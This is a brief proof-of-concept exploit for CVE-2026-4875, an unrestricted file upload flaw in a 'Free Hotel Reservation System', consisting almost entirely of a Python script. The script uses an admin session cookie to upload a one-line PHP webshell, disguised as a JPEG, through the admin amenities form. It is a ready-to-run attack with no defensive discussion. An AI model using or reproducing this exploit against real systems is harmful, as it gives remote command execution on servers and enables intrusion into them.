CVE-2026-4875 Free Hotel Reservation System 任意文件上传漏洞

import requests # Target URL url = "http://target.com/admin/mod_amenities/index.php?view=add" # Attacker's session cookie (Admin privilege required) cookies = { "PHPSESSID": "attacker_session_id" } # Malicious file payload (PHP webshell) # Note: The vulnerability allows unrestricted upload, so extension validation is bypassed files = { 'image': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'image/jpeg') } # Additional data if required by the form data = { 'submit': 'Upload' } response = requests.post(url, cookies=cookies, files=files, data=data) if response.status_code == 200: print("[+] Exploit successful! File uploaded.") print("[+] Check the upload directory to access the shell.") else: print("[-] Exploit failed.")